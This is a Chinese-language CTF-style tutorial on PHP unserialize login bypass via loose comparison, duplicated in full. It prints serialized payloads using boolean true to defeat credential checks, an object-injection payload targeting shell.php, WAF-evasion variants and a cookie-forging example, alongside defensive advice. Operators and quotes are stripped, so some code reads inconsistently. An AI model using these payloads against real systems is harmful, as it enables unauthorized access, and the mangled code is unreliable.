PHP序列化漏洞实战从弱类型比较到登录绕过在CTF竞赛和实际渗透测试中PHP序列化漏洞一直是Web安全领域的经典议题。今天我们将深入探讨如何利用PHP的弱类型比较特性通过精心构造的序列化Payload绕过登录验证机制。这种技术不仅出现在各类CTF比赛中如NSS、HUBUCTF等也曾在真实世界的Web应用中被发现。1. 理解PHP序列化与反序列化基础PHP序列化serialize是将数据结构或对象转换为可存储或传输的字符串表示的过程而反序列化unserialize则是其逆过程。这种机制常用于会话管理、数据缓存等场景。一个典型的序列化字符串结构如下// 原始数组 $user [ username admin, password secret123 ]; // 序列化结果 echo serialize($user); // 输出a:2:{s:8:username;s:5:admin;s:8:password;s:8:secret123;}序列化字符串中各部分的含义a:2表示一个包含2个元素的数组s:8:username表示一个长度为8的字符串键usernames:5:admin表示一个长度为5的字符串值admin2. 弱类型比较的安全隐患PHP中有两种比较运算符松散比较弱类型比较只比较值不比较类型严格比较强类型比较同时比较值和类型考虑以下比较结果var_dump(1 1); // true var_dump(1 1); // false var_dump(true any); // true var_dump(0 false); // true这种弱类型比较特性如果用在安全敏感的逻辑判断中就可能成为漏洞的根源。例如在登录验证中if ($_POST[username] $stored_username $_POST[password] $stored_password) { // 授予访问权限 }3. 实战构造绕过登录的序列化Payload假设我们遇到一个登录验证逻辑如下$data unserialize($_GET[data]); if ($data[username] $admin_user $data[password] $admin_pass) { echo Flag: . $flag; }其中$admin_user和$admin_pass的值未知但我们可以利用弱类型比较特性构造Payload。3.1 分析漏洞点关键点在于使用了而非比较的是反序列化后的数据与未知变量布尔值true在弱比较中会与大多数非空字符串相等3.2 构造恶意序列化数据我们可以构造一个数组使其username和password都为true$payload [username true, password true]; echo serialize($payload); // 输出a:2:{s:8:username;b:1;s:8:password;b:1;}3.3 验证Payload有效性比较场景结果true admintruetrue password123truetrue falsetrue 0false只要服务端存储的用户名和密码不是空字符串或0我们的Payload就能成功绕过验证。4. 防御措施与安全建议4.1 开发者防护方案使用严格比较// 不安全 if ($data[username] $admin_user) // 安全 if ($data[username] $admin_user)类型检查if (!is_string($data[username]) || $data[username] ! $admin_user) { die(Invalid credentials); }避免反序列化用户输入// 不安全 $data unserialize($_GET[data]); // 更安全的替代方案 $data json_decode($_GET[data], true);4.2 安全审计检查表审计PHP应用时应特别注意以下模式unserialize()函数调用特别是参数来自用户输入时使用而非的安全敏感比较魔术方法如__wakeup()、__destruct()中的敏感操作class VulnerableClass { private $file; function __destruct() { // 可能被利用执行任意文件操作 file_put_contents($this-file, data); } } // 攻击者可能构造的Payload $payload O:15:VulnerableClass:1:{s:20:VulnerableClassfile;s:9:shell.php;}; unserialize($payload);5. 高级利用技巧与CTF实战在更复杂的CTF题目中序列化漏洞常与其他漏洞结合。例如5.1 属性类型混淆攻击PHP反序列化时如果类属性定义与序列化数据中的类型不一致可能导致类型混淆class User { public $is_admin false; } // 恶意序列化数据将is_admin设置为字符串true $payload O:4:User:1:{s:8:is_admin;s:4:true;}; $user unserialize($payload); // 由于类型混淆可能导致非预期的行为 if ($user-is_admin true) { // 本不该执行的条件 }5.2 结合PHP特性绕过WAF某些Web应用防火墙(WAF)会检测序列化字符串中的危险关键词。可以通过以下方式绕过修改属性可见性// 正常私有属性 s:10:\00User\00secret; // 绕过方式 s:5:*secret;利用数字键名// 传统数组序列化 a:2:{s:8:username;s:5:admin;s:8:password;s:3:123;} // 使用数字键名可能绕过某些检测 a:2:{i:0;s:5:admin;i:1;s:3:123;}6. 真实案例分析某CMS系统的用户认证模块曾存在类似漏洞// 从cookie中反序列化用户数据 $user unserialize($_COOKIE[user]); // 弱类型比较验证管理员 if ($user-group administrator) { grant_admin_access(); }攻击者可以构造如下Payloadclass User { public $group true; } $malicious new User(); setcookie(user, serialize($malicious));这个案例展示了即使不是直接的数组比较类属性的弱类型比较同样危险。
保姆级教程:手把手教你用PHP序列化构造一个绕过登录验证的Payload
发布时间:2026/5/20 9:31:11
PHP序列化漏洞实战从弱类型比较到登录绕过在CTF竞赛和实际渗透测试中PHP序列化漏洞一直是Web安全领域的经典议题。今天我们将深入探讨如何利用PHP的弱类型比较特性通过精心构造的序列化Payload绕过登录验证机制。这种技术不仅出现在各类CTF比赛中如NSS、HUBUCTF等也曾在真实世界的Web应用中被发现。1. 理解PHP序列化与反序列化基础PHP序列化serialize是将数据结构或对象转换为可存储或传输的字符串表示的过程而反序列化unserialize则是其逆过程。这种机制常用于会话管理、数据缓存等场景。一个典型的序列化字符串结构如下// 原始数组 $user [ username admin, password secret123 ]; // 序列化结果 echo serialize($user); // 输出a:2:{s:8:username;s:5:admin;s:8:password;s:8:secret123;}序列化字符串中各部分的含义a:2表示一个包含2个元素的数组s:8:username表示一个长度为8的字符串键usernames:5:admin表示一个长度为5的字符串值admin2. 弱类型比较的安全隐患PHP中有两种比较运算符松散比较弱类型比较只比较值不比较类型严格比较强类型比较同时比较值和类型考虑以下比较结果var_dump(1 1); // true var_dump(1 1); // false var_dump(true any); // true var_dump(0 false); // true这种弱类型比较特性如果用在安全敏感的逻辑判断中就可能成为漏洞的根源。例如在登录验证中if ($_POST[username] $stored_username $_POST[password] $stored_password) { // 授予访问权限 }3. 实战构造绕过登录的序列化Payload假设我们遇到一个登录验证逻辑如下$data unserialize($_GET[data]); if ($data[username] $admin_user $data[password] $admin_pass) { echo Flag: . $flag; }其中$admin_user和$admin_pass的值未知但我们可以利用弱类型比较特性构造Payload。3.1 分析漏洞点关键点在于使用了而非比较的是反序列化后的数据与未知变量布尔值true在弱比较中会与大多数非空字符串相等3.2 构造恶意序列化数据我们可以构造一个数组使其username和password都为true$payload [username true, password true]; echo serialize($payload); // 输出a:2:{s:8:username;b:1;s:8:password;b:1;}3.3 验证Payload有效性比较场景结果true admintruetrue password123truetrue falsetrue 0false只要服务端存储的用户名和密码不是空字符串或0我们的Payload就能成功绕过验证。4. 防御措施与安全建议4.1 开发者防护方案使用严格比较// 不安全 if ($data[username] $admin_user) // 安全 if ($data[username] $admin_user)类型检查if (!is_string($data[username]) || $data[username] ! $admin_user) { die(Invalid credentials); }避免反序列化用户输入// 不安全 $data unserialize($_GET[data]); // 更安全的替代方案 $data json_decode($_GET[data], true);4.2 安全审计检查表审计PHP应用时应特别注意以下模式unserialize()函数调用特别是参数来自用户输入时使用而非的安全敏感比较魔术方法如__wakeup()、__destruct()中的敏感操作class VulnerableClass { private $file; function __destruct() { // 可能被利用执行任意文件操作 file_put_contents($this-file, data); } } // 攻击者可能构造的Payload $payload O:15:VulnerableClass:1:{s:20:VulnerableClassfile;s:9:shell.php;}; unserialize($payload);5. 高级利用技巧与CTF实战在更复杂的CTF题目中序列化漏洞常与其他漏洞结合。例如5.1 属性类型混淆攻击PHP反序列化时如果类属性定义与序列化数据中的类型不一致可能导致类型混淆class User { public $is_admin false; } // 恶意序列化数据将is_admin设置为字符串true $payload O:4:User:1:{s:8:is_admin;s:4:true;}; $user unserialize($payload); // 由于类型混淆可能导致非预期的行为 if ($user-is_admin true) { // 本不该执行的条件 }5.2 结合PHP特性绕过WAF某些Web应用防火墙(WAF)会检测序列化字符串中的危险关键词。可以通过以下方式绕过修改属性可见性// 正常私有属性 s:10:\00User\00secret; // 绕过方式 s:5:*secret;利用数字键名// 传统数组序列化 a:2:{s:8:username;s:5:admin;s:8:password;s:3:123;} // 使用数字键名可能绕过某些检测 a:2:{i:0;s:5:admin;i:1;s:3:123;}6. 真实案例分析某CMS系统的用户认证模块曾存在类似漏洞// 从cookie中反序列化用户数据 $user unserialize($_COOKIE[user]); // 弱类型比较验证管理员 if ($user-group administrator) { grant_admin_access(); }攻击者可以构造如下Payloadclass User { public $group true; } $malicious new User(); setcookie(user, serialize($malicious));这个案例展示了即使不是直接的数组比较类属性的弱类型比较同样危险。